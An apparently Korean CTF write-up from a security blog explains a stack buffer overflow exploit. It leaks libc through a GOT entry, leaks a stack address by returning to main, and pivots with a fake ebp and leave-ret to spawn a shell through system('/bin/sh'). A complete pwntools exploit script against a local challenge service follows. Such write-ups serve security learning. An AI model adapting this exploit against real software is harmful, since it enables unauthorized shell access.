2) 0x48만큼 read함수로 입력을 받아서, strcpy진행 후 printf
3) 주의사항: 0x48입력받을때 0x38부터 pop ebp위치 0x3c는 return address
1->이미 실행된 함수의 got주소를 준다(실제 함수주소가 담겨있다) => libc주소를 알 수 있다.=>system주소, /bin/sh주소 구할 수 있다
2->0x3c뒤에 main함수의 주소를 줘서 다시 메인으로 돌리며 0x48을 꽉채워서 메모리 입력을 줌=>메인으로 돌아가면서, 메모리 릭 가능
여기서 릭 되는 메모리는 stack주소 물론! libc주소도 릭되지만, 1번에서 했으므로 스택주소만 이용!
*1번을 이용해서 스택주소를 알아내는 방법은 생각하지 못했다. libc주소야 got를 이용하면 되지만, 스택의 주소는 어디서 구할 수 있을지 잘 모르겠다. 그래서 메모리 릭을 이용했다.
3->입력줄때 system주소+0xdeadbeef+/bin/sh주소가 담겨있는 0x38만큼의 입력을 주고, pop ebp하는 곳에 system주소+0xdeadbeef+/bin/sh의 주소-4를 주고, return address로는 leave ret이 나오는 곳의 주소를 준다. 즉, fake ebp를 이용!
leave에서 mov esp, ebp하고 나서 pop한다. 그러고 나면 esp가 system주소+0xdeadbeef+/bin/sh위치로 오게 되며, 이때 ret을 하게 되어
system(/bin/sh)가 실행되어 쉘이 따진다!
from pwn import*
import time
s=remote('localhost', 7777)
print s.recv(1024)
s.send("134520860"+"\n")
a=s.recv(1024)
a=a[31:39]
libc=int(a,16)
system=libc-0x254d0
sh=libc+0xfd50c
print ("system : "+hex(system))
print ("/bin/sh : "+hex(sh))
s.send("a"*0x3c+"\x7d\x85\x04\x08"+"a"*8)
b=s.recv(1024)
b=b[89:93]
stack=int(u32(b))-0x290-4
print ("stack : "+hex(stack))
s.send("134520860")
s.send(p32(system)+"\xef\xbe\xad\xde"+p32(sh)+"a"*0x2c+p32(stack)+"\x5c\x86\x04\x08")
s.interactive()
s.close()
cf) plt와 got
함수실행시 plt진행->jmp got에 적힌 값
그 함수가 처음 실행될 때는! got에 plt+6의 주소가 담겨져 있다.
하지만, 함수가 한번 실행된 이후에는 got에 실함수주소가 담겨져 있으므로, jmp 실함수가 진행된다.
'시스템 해킹 > cykor' 카테고리의 다른 글
daRk_TempLer-read함수의 null (0) | 2017.12.29 |
---|---|
catchme-노가다, 스택버퍼오버플로우 (0) | 2017.12.29 |
dethstarr (0) | 2017.03.11 |
how2heap/poison_null_byte.c (0) | 2017.01.01 |
chal2 (0) | 2016.12.31 |